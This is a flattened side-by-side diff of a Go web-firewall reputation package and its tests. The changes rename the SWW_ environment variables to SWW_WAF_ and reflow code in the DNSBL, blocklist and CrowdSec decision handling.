if req.URL.String() != decisionsURL && if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String()) e.keySentTo = append(e.keySentTo, req.URL.String())
} }
@@ -517,9 +425,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key: case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}` status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "": case e.redirect != "":
status, header = http.StatusFound, http.Header{ status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
"Location": {e.redirect},
}
case e.failing: case e.failing:
status, body = http.StatusServiceUnavailable, "" status, body = http.StatusServiceUnavailable, ""
case body == "": case body == "":
@@ -543,9 +449,7 @@ func (e *engine) inForce(now time.Time) string {
for _, d := range e.decisions { for _, d := range e.decisions {
if now.Before(d.expires) { if now.Before(d.expires) {
answer = append(answer, map[string]string{ answer = append(answer, map[string]string{
"duration": d.expires.Sub(now). "duration": d.expires.Sub(now).String(), "origin": "crowdsec",
String(),
"origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value, "scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
}) })
} }
@@ -597,26 +501,13 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
// wantDecision checks the decision lists says is in force on addr now, // wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none. // the zero Decision for none.
func wantDecision( func wantDecision(
t *testing.T, t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
lists *reputation.Lists,
addr string,
want reputation.Decision,
) { ) {
t.Helper() t.Helper()
got, listed := lists.CrowdSecDecision( got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
netip.MustParseAddr(addr),
time.Now(),
)
if listed != !want.Expires.IsZero() || if listed != !want.Expires.IsZero() ||
listed && listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) { t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
t.Errorf(
"%s has the decision %+v in force %t, want %+v",
addr,
got,
listed,
want,
)
} }
} }
+9 -16
View File
@@ -53,15 +53,15 @@ type Verdict struct {
// DNSBLParams are what NewDNSBL needs. // DNSBLParams are what NewDNSBL needs.
type DNSBLParams struct { type DNSBLParams struct {
// Zones are the DNSBL zones clients are asked about in // Zones are the DNSBL zones clients are asked about in
// (SWW_DNSBL_ZONES). // (SWW_WAF_DNSBL_ZONES).
Zones []string Zones []string
// Resolver is the resolver they are asked through // Resolver is the resolver they are asked through
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the // (SWW_WAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
// host's, as /etc/resolv.conf names it. // host's, as /etc/resolv.conf names it.
Resolver netip.AddrPort Resolver netip.AddrPort
// CacheTTL is how long a verdict is used after it was fetched // CacheTTL is how long a verdict is used after it was fetched
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take // (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
// (SWW_REPUTATION_TIMEOUT). // (SWW_WAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration CacheTTL time.Duration
Timeout time.Duration Timeout time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
} }
} }
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them. // Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
func (d *DNSBL) Zones() []string { func (d *DNSBL) Zones() []string {
return slices.Clone(d.params.Zones) return slices.Clone(d.params.Zones)
} }
// ListedBy returns the zones whose verdict on addr, a client's address, // ListedBy returns the zones whose verdict on addr, a client's address,
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key // lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
// masked, as config.MaskZoneKey masks it, since they go to the request // masked, as config.MaskZoneKey masks it, since they go to the request
// log, the alerts and the metrics. A verdict is used until CacheTTL has // log, the alerts and the metrics. A verdict is used until CacheTTL has
// passed since it was fetched. Each zone without one is asked about addr // passed since it was fetched. Each zone without one is asked about addr
@@ -203,17 +203,14 @@ func (d *DNSBL) Snapshot() []Verdict {
d.mu.Unlock() d.mu.Unlock()
slices.SortFunc(verdicts, func(a, b Verdict) int { slices.SortFunc(verdicts, func(a, b Verdict) int {
return cmp.Or( return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
a.Client.Compare(b.Client),
strings.Compare(a.Zone, b.Zone),
)
}) })
return verdicts return verdicts
} }
// Load keeps verdicts, read from dnsbl.json, in place of those it // Load keeps verdicts, read from dnsbl.json, in place of those it
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and, // keeps, but for those of a zone SWW_WAF_DNSBL_ZONES does not name, and,
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or // past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
// more is neither used nor written, as for any verdict. // more is neither used nor written, as for any verdict.
func (d *DNSBL) Load(verdicts []Verdict) { func (d *DNSBL) Load(verdicts []Verdict) {
@@ -278,11 +275,7 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout) ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
defer cancel() defer cancel()
answer, err := d.resolver.LookupNetIP( answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
ctx,
"ip4",
queryName(q.zone, q.client),
)
var dnsErr *net.DNSError var dnsErr *net.DNSError
+37 -119
View File
@@ -40,8 +40,8 @@ const (
// zone and otherZone are the DNSBL zones the tests name. // zone and otherZone are the DNSBL zones the tests name.
zone = "dnsbl.example" zone = "dnsbl.example"
otherZone = "other.example" otherZone = "other.example"
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their // cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf // SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
// can have Go's resolver wait for one server, so that it is the // can have Go's resolver wait for one server, so that it is the
// DNSBL's own timeout that ends a query, whatever that file says. // DNSBL's own timeout that ends a query, whatever that file says.
cacheTTL = 24 * time.Hour cacheTTL = 24 * time.Hour
@@ -73,11 +73,7 @@ func TestMain(m *testing.M) {
return nil, errNoNetwork return nil, errNoNetwork
}, },
} }
_, _ = resolver.LookupNetIP( _, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
context.Background(),
"ip4",
"warm-up.invalid.",
)
m.Run() m.Run()
} }
@@ -95,10 +91,8 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
) )
resolver := &resolverStandIn{answers: map[string]answer{ resolver := &resolverStandIn{answers: map[string]answer{
"99.2.0.192." + zone + ".": {addrs: []string{listing}}, "99.2.0.192." + zone + ".": {addrs: []string{listing}},
v6Name + otherZone + ".": { v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}},
addrs: []string{"127.0.0.4", "127.0.0.10"},
},
"99.2.0.192." + otherZone + ".": {}, "99.2.0.192." + otherZone + ".": {},
}} }}
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone)) dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
@@ -137,11 +131,8 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
}) })
} }
//
//nolint:paralleltest // one at a time, as the comment at the top of this file says //nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched( func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
t *testing.T,
) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
resolver := &resolverStandIn{answers: map[string]answer{ resolver := &resolverStandIn{answers: map[string]answer{
listedName: {addrs: []string{listing}}, listedName: {addrs: []string{listing}},
@@ -207,11 +198,8 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
}) })
} }
//
//nolint:paralleltest // one at a time, as the comment at the top of this file says //nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute( func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
t *testing.T,
) {
for _, tc := range []struct { for _, tc := range []struct {
name string name string
answer answer answer answer
@@ -242,12 +230,9 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
p := dnsblParams(zone) p := dnsblParams(zone)
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
dnsbl := newDNSBL( dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
&resolverStandIn{answers: map[string]answer{ listedName: tc.answer,
listedName: tc.answer, }}, p)
}},
p,
)
// The failure gives no verdict, and the zone is not asked // The failure gives no verdict, and the zone is not asked
// again within a minute of it. // again within a minute of it.
@@ -273,17 +258,11 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
Time: time.Now().Add(-time.Minute), Time: time.Now().Add(-time.Minute),
Event: alerts.EventSourceFailure, Event: alerts.EventSourceFailure,
Reason: "asking a DNSBL zone failed", Reason: "asking a DNSBL zone failed",
Detail: map[string]any{ Detail: map[string]any{"source": zone, "error": tc.error},
"source": zone,
"error": tc.error,
},
}) })
if !strings.Contains( if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
log.String(), `"zone":"`+zone+`","error":"`+tc.error) {
`"msg":"asking a DNSBL zone failed",`+
`"zone":"`+zone+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -323,11 +302,8 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
synctest.Wait() synctest.Wait()
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP( m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
scraped, "/", http.NoBody))
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody),
)
for series, want := range map[string]string{ for series, want := range map[string]string{
"queries_total" + `{instance="app",source="` + zone + `"}`: "1", "queries_total" + `{instance="app",source="` + zone + `"}`: "1",
@@ -372,32 +348,19 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
synctest.Wait() synctest.Wait()
wantZones(t, dnsbl, listed, masked) wantZones(t, dnsbl, listed, masked)
if got := waiting(queue); len(got) != 1 || if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
got[0].Detail["source"] != masked { t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
t.Errorf(
"alerts waiting %+v, want the failure's, from %s",
got,
masked,
)
} }
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP( m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
scraped, "/", http.NoBody))
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody),
)
for name, shown := range map[string]string{ for name, shown := range map[string]string{
"the log": log.String(), "the metrics": scraped.Body.String(), "the log": log.String(), "the metrics": scraped.Body.String(),
} { } {
if strings.Contains(shown, key) || if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
!strings.Contains(shown, masked) { t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
t.Errorf(
"%s shows the key, or does not name the zone:\n%s",
name,
shown,
)
} }
} }
}) })
@@ -419,17 +382,8 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
kept := dnsbl.Snapshot() kept := dnsbl.Snapshot()
want := []reputation.Verdict{ want := []reputation.Verdict{
{ {Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
Zone: zone, {Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
Client: netip.MustParseAddr(listed),
Listed: true,
Fetched: fetched,
},
{
Zone: zone,
Client: netip.MustParseAddr(unlisted),
Fetched: fetched,
},
} }
if !reflect.DeepEqual(kept, want) { if !reflect.DeepEqual(kept, want) {
t.Errorf("verdicts %+v, want %+v", kept, want) t.Errorf("verdicts %+v, want %+v", kept, want)
@@ -465,7 +419,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
dnsbl := reputation.NewDNSBL(p) dnsbl := reputation.NewDNSBL(p)
// The last verdict still in use, one fetched a TTL ago, and one of a // The last verdict still in use, one fetched a TTL ago, and one of a
// zone SWW_DNSBL_ZONES does not name. // zone SWW_WAF_DNSBL_ZONES does not name.
inUse := reputation.Verdict{ inUse := reputation.Verdict{
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
Fetched: now.Add(-cacheTTL + time.Nanosecond), Fetched: now.Add(-cacheTTL + time.Nanosecond),
@@ -479,17 +433,12 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse}) dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
if got := dnsbl.Snapshot(); !reflect.DeepEqual( if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
got,
[]reputation.Verdict{inUse},
) {
t.Errorf("verdicts %+v, want only %+v", got, inUse) t.Errorf("verdicts %+v, want only %+v", got, inUse)
} }
} }
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst( func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -517,10 +466,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
got := dnsbl.Snapshot() got := dnsbl.Snapshot()
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) || if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
slices.Contains(got, verdicts[count-1]) { slices.Contains(got, verdicts[count-1]) {
t.Errorf( t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
"%d verdicts kept, want all but the one fetched longest ago",
len(got),
)
} }
} }
@@ -530,11 +476,7 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
listedName: {addrs: []string{listing}}, listedName: {addrs: []string{listing}},
}} }}
conn, err := (&net.ListenConfig{}).ListenPacket( conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
t.Context(),
"udp",
"127.0.0.1:0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -558,8 +500,7 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
// process held up for a whole minute would see the query fail. // process held up for a whole minute would see the query fail.
p.Timeout = time.Minute p.Timeout = time.Minute
isListed, err := reputation.NewDNSBL(p). isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
LookUp(zone, netip.MustParseAddr(listed))
if err != nil || !isListed { if err != nil || !isListed {
t.Errorf("listed %t (%v), want true", isListed, err) t.Errorf("listed %t (%v), want true", isListed, err)
} }
@@ -613,11 +554,7 @@ func (s *resolverStandIn) set(name string, given answer) {
// dial connects Go's resolver to the stand-in through an in-memory // dial connects Go's resolver to the stand-in through an in-memory
// connection, on which it sends each query, and reads each reply, after // connection, on which it sends each query, and reads each reply, after
// its length, as over TCP. // its length, as over TCP.
func (s *resolverStandIn) dial( func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
context.Context,
string,
string,
) (net.Conn, error) {
client, server := net.Pipe() client, server := net.Pipe()
go s.serve(server) go s.serve(server)
@@ -653,10 +590,8 @@ func (s *resolverStandIn) serve(conn net.Conn) {
} }
//nolint:gosec // a reply of a few dozen bytes //nolint:gosec // a reply of a few dozen bytes
_, err = conn.Write( _, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))), reply...))
reply...),
)
if err != nil { if err != nil {
return return
} }
@@ -757,10 +692,7 @@ func waitForTheResolver() {
} }
// newDNSBL returns the DNSBL of p, asking resolver. // newDNSBL returns the DNSBL of p, asking resolver.
func newDNSBL( func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
resolver *resolverStandIn,
p reputation.DNSBLParams,
) *reputation.DNSBL {
dnsbl := reputation.NewDNSBL(p) dnsbl := reputation.NewDNSBL(p)
dnsbl.SetDial(resolver.dial) dnsbl.SetDial(resolver.dial)
@@ -769,12 +701,7 @@ func newDNSBL(
// wantZones checks the zones whose verdict dnsbl says lists client, as a // wantZones checks the zones whose verdict dnsbl says lists client, as a
// request from client finds them. // request from client finds them.
func wantZones( func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
t *testing.T,
dnsbl *reputation.DNSBL,
client string,
want ...string,
) {
t.Helper() t.Helper()
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client)) got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
@@ -785,21 +712,12 @@ func wantZones(
// wantQueries checks how many queries dnsbl made to zone, and how many of // wantQueries checks how many queries dnsbl made to zone, and how many of
// them failed. // them failed.
func wantQueries( func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
t *testing.T,
dnsbl *reputation.DNSBL,
queries, failures int,
) {
t.Helper() t.Helper()
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures { if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
t.Errorf( t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
"%d queries and %d failures, want %d and %d", dnsbl.Failures(zone), queries, failures)
dnsbl.Queries(zone),
dnsbl.Failures(zone),
queries,
failures,
)
} }
} }
+24 -58
View File
@@ -1,11 +1,11 @@
// Package reputation fetches the lists the settings name by URL: the // Package reputation fetches the lists the settings name by URL: the
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines // blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and // SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It // the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
// keeps the last good copy of // keeps the last good copy of
// each, whole, comment lines included, which is used while a fetch fails, // each, whole, comment lines included, which is used while a fetch fails,
// and when each was last tried. It also asks the DNSBL zones of // and when each was last tried. It also asks the DNSBL zones of
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks // SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// clients with AbuseIPDB, and keeps their scores and the checks spent // clients with AbuseIPDB, and keeps their scores and the checks spent
// today. The state package writes all of these to files and reads them // today. The state package writes all of these to files and reads them
// from there, so that a restart keeps them too. // from there, so that a restart keeps them too.
@@ -45,16 +45,13 @@ const (
) )
var ( var (
errStatus = errors.New("the server answered") errStatus = errors.New("the server answered")
errTooLong = errors.New("the list is longer than 16 MiB") errTooLong = errors.New("the list is longer than 16 MiB")
errNotNetblock = errors.New( errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
"is not an address or a netblock, such as 192.0.2.0/24",
)
errNotASNPercent = errors.New( errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50") "is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New( errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s", "does not give an address or a netblock and a duration, such as 4h0m0s")
)
) )
// List is a list as lists.json holds it: the URL it is fetched from, // List is a list as lists.json holds it: the URL it is fetched from,
@@ -70,20 +67,20 @@ type List struct {
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and // BlocklistURLs are the blocklists (SWW_WAF_BLOCKLIST_URLS), and
// ASNLimitPercentURL the file of AS:percent lines // ASNLimitPercentURL the file of AS:percent lines
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset. // (SWW_WAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
BlocklistURLs []string BlocklistURLs []string
ASNLimitPercentURL string ASNLimitPercentURL string
// TagLists are the address lists that add a tag (SWW_TAG_LISTS). // TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
TagLists []config.TagList TagLists []config.TagList
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while // CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey // SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWW_CROWDSEC_LAPI_KEY). // (SWW_WAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string CrowdSecDecisionsURL string
CrowdSecKey string CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is // Refresh is how long after a list was last fetched or tried it is
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision // fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after. // list, which is fetched again crowdSecRefresh after.
Refresh time.Duration Refresh time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
@@ -158,7 +155,7 @@ func New(params Params) *Lists {
} }
// URLs returns the URL of every list: the blocklists' in the order // URLs returns the URL of every list: the blocklists' in the order
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the // SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
// tag lists', then the CrowdSec decision list's. // tag lists', then the CrowdSec decision list's.
func (l *Lists) URLs() []string { func (l *Lists) URLs() []string {
urls := slices.Clone(l.params.BlocklistURLs) urls := slices.Clone(l.params.BlocklistURLs)
@@ -178,7 +175,7 @@ func (l *Lists) URLs() []string {
} }
// ListedBy returns the URLs of the blocklists whose copy lists addr, in // ListedBy returns the URLs of the blocklists whose copy lists addr, in
// the order SWW_BLOCKLIST_URLS names them. // the order SWW_WAF_BLOCKLIST_URLS names them.
func (l *Lists) ListedBy(addr netip.Addr) []string { func (l *Lists) ListedBy(addr netip.Addr) []string {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -229,10 +226,7 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
// decision list on a netblock that holds addr and that ends last, and // decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no // whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it. // longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision( func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
addr netip.Addr,
now time.Time,
) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" { if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false return Decision{}, false
} }
@@ -437,24 +431,12 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
// Raised before it is logged, so that the alert is there once the // Raised before it is logged, so that the alert is there once the
// log line is. // log line is.
raiseFailure(l.params.Alerts, failed, listURL, err) raiseFailure(l.params.Alerts, failed, listURL, err)
l.params.ProcessLog.Warn( l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
failed,
"url",
listURL,
"error",
err.Error(),
)
return return
} }
l.params.ProcessLog.Info( l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
"fetched a list",
"url",
listURL,
"lines",
len(lines),
)
} }
// raiseFailure raises a source_failure alert into queue, with reason, and // raiseFailure raises a source_failure alert into queue, with reason, and
@@ -477,12 +459,7 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout) ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
ctx,
http.MethodGet,
listURL,
http.NoBody,
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the request: %w", err) return nil, fmt.Errorf("make the request: %w", err)
} }
@@ -593,10 +570,7 @@ func parseNetblock(text string) (netip.Prefix, bool) {
return netip.Prefix{}, false return netip.Prefix{}, false
} }
return netip.PrefixFrom( return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
netblock.Addr().Unmap(),
netblock.Bits()-mappedBits,
), true
} }
// parsePercents reads the lines of the file of AS:percent lines, each an // parsePercents reads the lines of the file of AS:percent lines, each an
@@ -654,8 +628,7 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
found := entries{decisions: map[netip.Prefix]Decision{}} found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer { for i, decision := range answer {
if decision.Type != "ban" || if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
(decision.Scope != "Ip" && decision.Scope != "Range") {
continue continue
} }
@@ -663,19 +636,12 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
duration, err := time.ParseDuration(decision.Duration) duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil { if !ok || err != nil {
return entries{}, fmt.Errorf( return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
"decision %d %w",
i+1,
errNotDecision,
)
} }
expires := fetched.Add(duration) expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) { if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{ found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
Expires: expires,
Scenario: decision.Scenario,
}
} }
if !slices.Contains(found.lengths, netblock.Bits()) { if !slices.Contains(found.lengths, netblock.Bits()) {
+58 -136
View File
@@ -34,8 +34,8 @@ const (
dropURL = "https://lists.example/drop.txt" dropURL = "https://lists.example/drop.txt"
torURL = "https://lists.example/tor.txt" torURL = "https://lists.example/tor.txt"
asnURL = "https://lists.example/asn.txt" asnURL = "https://lists.example/asn.txt"
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their // refresh is the tests' SWW_WAF_BLOCKLIST_REFRESH, and cooldown their
// SWW_ALERT_COOLDOWN, longer than it. // SWW_WAF_ALERT_COOLDOWN, longer than it.
refresh = 24 * time.Hour refresh = 24 * time.Hour
cooldown = 48 * time.Hour cooldown = 48 * time.Hour
// drop is a blocklist as the Spamhaus DROP list is written, with an // drop is a blocklist as the Spamhaus DROP list is written, with an
@@ -72,9 +72,7 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
}) })
} }
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor( func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Now() now := time.Now()
@@ -118,7 +116,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
}} }}
lists := start(t, servers, params(torURL, dropURL)) lists := start(t, servers, params(torURL, dropURL))
// In the order SWW_BLOCKLIST_URLS names them. // In the order SWW_WAF_BLOCKLIST_URLS names them.
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL) wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
wantListedBy(t, lists, "203.0.113.8", dropURL) wantListedBy(t, lists, "203.0.113.8", dropURL)
}) })
@@ -128,9 +126,7 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
servers := &standIn{ servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
lists: map[string]string{dropURL: "203.0.113.9\n"},
}
lists := start(t, servers, params(dropURL)) lists := start(t, servers, params(dropURL))
began := time.Now() began := time.Now()
@@ -146,21 +142,41 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
wantListedBy(t, lists, "203.0.113.9") wantListedBy(t, lists, "203.0.113.9")
wantListedBy(t, lists, "203.0.113.10", dropURL) wantListedBy(t, lists, "203.0.113.10", dropURL)
if fetched := lists.Fetched(dropURL); !fetched.Equal( if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
began.Add(refresh),
) {
t.Errorf("the copy in use was fetched at %s, want %s", fetched, t.Errorf("the copy in use was fetched at %s, want %s", fetched,
began.Add(refresh)) began.Add(refresh))
} }
}) })
} }
